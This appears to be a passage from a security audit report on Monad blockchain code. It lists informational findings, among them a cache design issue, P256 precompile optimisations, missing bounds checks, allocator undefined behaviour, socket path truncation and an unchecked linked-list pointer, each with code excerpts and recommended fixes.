.Unbounded LRU cache with manual eviction duplicates the cache functionality
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Rikard Hjort
Description
The
lru
library provides an LRU cache implementation which can be bounded or unbounded (where "unbounded" means a size ofusize::MAX
). The implementation in RaptorCast creates an unbounded loop and manually evicts items. This lets the cache grow and shrink during decoding, but is always left below the maximum size beforehandle_message()
returns.If this is intended and necessary, it may be left as is. But the code could be simplified and possibly made more efficient by using the built-in LRU cache size restriction.
Recommendation
Instead of an unbounded LRU cache, set cache size to
PENDING_MESSAGE_CHACE_SIZE
.pub fn new(self_id: NodeId<CertificateSignaturePubKey<ST>>) -> Self { Self { self_id,- pending_message_cache: LruCache::unbounded(),+ pending_message_cache: LruCache::new(PENDING_MESSAGE_CACHE_SIZE), signature_cache: LruCache::new(SIGNATURE_CACHE_SIZE), recently_decoded_cache: LruCache::new(RECENTLY_DECODED_CACHE_SIZE), }}
This also allows deleting the loop at the end:
- while self.pending_message_cache.len() > PENDING_MESSAGE_CACHE_SIZE.into() {- let (key, decoder_state) = self.pending_message_cache.pop_lru().expect("nonempty");- tracing::debug!(- num_source_symbols = decoder_state.decoder.num_source_symbols(),- num_encoded_symbols_received = decoder_state.decoder.num_encoded_symbols_received(),- inactivation_symbol_threshold =- decoder_state.decoder.inactivation_symbol_threshold(),- recipient_chunks =? decoder_state.recipient_chunks,- ?key,- "dropped unfinished ManagedDecoder"- )- }
Category Labs: We are tracking it in this open issue
P256 Verify precompile speed optimizations
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Guido Vranken
Description
https://github.com/category-labs/monad/commit/a6c24a082bef6e72f9f537198f26a881e0c33877 implements the P256 ECDSA verification precompile.
1 // EIP-7951 2 PrecompileResult p256_verify_execute(byte_string_view const input) 3 { 4 using namespace CryptoPP; 5 6 auto const empty_result = PrecompileResult{ 7 .status_code = EVMC_SUCCESS, 8 .obuf = nullptr, 9 .output_size = 0,10 };11 12 if (input.size() != 160) {13 return empty_result;14 }15 16 Integer h(input.data(), 32);17 Integer r(input.data() + 32, 32);18 Integer s(input.data() + 64, 32);19 Integer qx(input.data() + 96, 32);20 Integer qy(input.data() + 128, 32);21 22 DL_GroupParameters_EC<ECP> params(ASN1::secp256r1());23 auto const &ec = params.GetCurve();24 auto const &n = params.GetSubgroupOrder();25 auto const p_mod = ec.FieldSize();26 auto const &G = params.GetSubgroupGenerator();27 28 // if not (0 < r < n and 0 < s < n): return29 if (!(r > Integer::Zero() && r < n)) {30 return empty_result;31 }32 33 if (!(s > Integer::Zero() && s < n)) {34 return empty_result;35 }36 37 // if not (0 ≤ qx < p and 0 ≤ qy < p): return38 if (!(qx >= Integer::Zero() && qx < p_mod)) {39 return empty_result;40 }41 42 if (!(qy >= Integer::Zero() && qy < p_mod)) {43 return empty_result;44 }45 46 // if qy^2 ≢ qx^3 + a*qx + b (mod p): return47 if (!ec.VerifyPoint({qx, qy})) {48 return empty_result;49 }50 51 // if (qx, qy) == (0, 0): return52 if (qx.IsZero() && qy.IsZero()) {53 return empty_result;54 }55 56 // s1 = s^(-1) (mod n)57 auto const s1 = s.InverseMod(n);58 59 // R' = (h * s1) * G + (r * s1) * (qx, qy)60 auto const u1 = a_times_b_mod_c(h, s1, n);61 auto const u2 = a_times_b_mod_c(r, s1, n);62 63 auto const p1 = ec.Multiply(u1, G);64 auto const p2 = ec.Multiply(u2, {qx, qy});65 auto const r_prime = ec.Add(p1, p2);66 67 // If R' is at infinity: return68 if (r_prime.identity) {69 return empty_result;70 }71 72 // if R'.x ≢ r (mod n): return73 if (r_prime.x % n != r) {74 return empty_result;75 }76 77 // Return 0x000...178 auto *const output_buf = static_cast<uint8_t *>(std::malloc(32));79 MONAD_ASSERT(output_buf != nullptr);80 std::memset(output_buf, 0, 32);81 82 output_buf[31] = 1;83 84 return {85 .status_code = EVMC_SUCCESS,86 .obuf = output_buf,87 .output_size = 32,88 };89 }
Lines 6-10:
empty_result
can beconstexpr
.constexpr
will ensure that the compiler will construct the value only as needed (e.g. for everyreturn empty_result;
) rather than constructing it unconditionally at function entry.Lines 22-26: Curve parameters are instantiated anew in every call to this function. They only have to be instantiated once during the program lifetime. Consider initializing these at startup as global variables, or using a singleton pattern. A benchmark of this change indicates a 4-5% overall speedup.
Lines 46-49, 51-54: Respectively pubkey point validation and infinity pubkey check. Switching these around (e.g. do infinity check first, then point validation) could improve processing speed for inputs with infinity pubkeys; this allows the code to return early before having to evaluate the relatively expensive Weierstrass equation on the point.
Category Labs: We are tracking it in this open issue
monad_db_snapshot_loader_load lacks capacity check before accessing storage
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Guido Vranken
Description
monad_db_snapshot_loader_load
does not check ifstorage_view
contains sufficient data for extracting auint64_t
:while (!storage_view.empty()) { uint64_t const account_offset = unaligned_load<uint64_t>(storage_view.data());
whereas such a check is performed for
code_view
later in the function:while (!code_view.empty()) { MONAD_ASSERT(code_view.size() >= sizeof(uint64_t)); uint64_t const size = unaligned_load<uint64_t>(code_view.data());
Although there is potential for an out-of-bounds read, this code is only used for loading snapshot files which can reasonably be trusted. Hence this is merely an informational finding.
In
monad_db_snapshot_load_filesystem
, an integrity check of the file is performed by comparing its blake3 hash against an expected hash, so local file corruption shouldn't be able to cause this.Only if the snapshot serialization code (
monad_db_snapshot_write_filesystem
) would inadvertently serialize a truncatedstorage
array this could be a problem.Recommendation
Add
MONAD_ASSERT(storage_view.size() >= sizeof(uint64_t));
beforeunaligned_load()
for consistency and early detection of a malformed snapshot file.Category Labs: We are tracking it in this open issue
Undefined behavior arising from invalid pointer arithmetic if FixedBufferAllocator overallocates
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Guido Vranken
Description
[[nodiscard]] constexpr value_type *allocate(std::size_t n) { auto *newp = p + sizeof(value_type) * n; assert(size_t(newp - buffer.data()) <= buffer.size()); auto *ret = reinterpret_cast<value_type *>(p); p = newp; return ret; }
If and only if the remaining storage in
buffer
is insufficient to accomodate forsizeof(value_type) * n
more bytes, then the construction ofnewp
invokes undefined behavior, as stated here: https://eel.is/c++draft/expr.add#4Recommendation
Before performing any pointer arithmetic, insert a
MONAD_ASSERT
which ascertains that the buffer has sufficient capacity to hold the requested amount of data. A hard exit is preferable to the impossible situation of providing more memory than there is capacity, and the undefined behavior and possible memory corruption arising from that state.Category Labs: We are tracking it in this open issue
monad_statesync_server_network constructor may truncate socket path
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Guido Vranken
Description
monad_statesync_server_network(char const *const path) : fd{socket(AF_UNIX, SOCK_STREAM, 0)} { struct sockaddr_un addr; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1); while (connect(fd, (sockaddr *)&addr, sizeof(addr)) != 0) { std::this_thread::sleep_for(std::chrono::milliseconds(1)); } }
path
is stored inaddr.sun_path
but the latter can only accomodate 108 bytes (107 without the terminating zero).Silent truncation can occur if
path
is too large. There is no real security risk but it would initiate a futile connection loop.Recommendation
Throw an exception if this situation occurs.
Category Labs: We are tracking it in this open issue
start_ptr is not checked to be part of the linked list in linked_list_traverse
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Haxatron
Description
(Issue found in commit hash fc820c9ee9ab310c4fdd5e1888f72164c0b871c8)
linked_list_traverse
is used to obtain the given set of validators for a delegator or a given set of delegators for a validator in theprecompile_get_validators_for_delegator
orprecompile_get_delegators_for_validator
functions.A problem exists where the the
start_ptr
is not checked to be a valid node fromlinked_list_traverse
.template <typename Key, typename Ptr>std::tuple<bool, Ptr, std::vector<Ptr>> StakingContract::linked_list_traverse( Key const &key, Ptr const &start_ptr, uint32_t const limit){ using Trait = LinkedListTrait<Key, Ptr>; Ptr ptr; if (start_ptr == Trait::empty()) { auto const sentinel_node = Trait::load_node(*this, key, Trait::sentinel()); ptr = Trait::next(sentinel_node); } else { ptr = start_ptr; } std::vector<Ptr> results; uint32_t nodes_read = 0; while (ptr != Trait::empty() && nodes_read < limit) { auto const node = Trait::load_node(*this, key, ptr); results.push_back(std::move(ptr)); ptr = Trait::next(node); ++nodes_read; } bool const done = (ptr == Trait::empty()); return {done, ptr, results};}
When a
start_ptr
that is not part of the linked list is passed intolinked_list_traverse
, it will continue to thewhile
loop where thestart_ptr
will be pushed to theresults
vector and terminate after the first iteration. This will result in theresults
vector containing thestart_ptr
anddone
being set totrue
.This could result in integrators being tricked via malicious inputs for instance if they trust that the return value of the
precompile_get_validators_for_delegator
orprecompile_get_delegators_for_validator
functions are correct and represent the set of validators that do exist in the validators by delegator / delegators by validator set.Recommendation
If
start_ptr
does not exist in the linked list (can be checked by checking whether theprev
pointer is empty) return early withresults
as an empty vector.Category Labs: We are tracking it in this open issue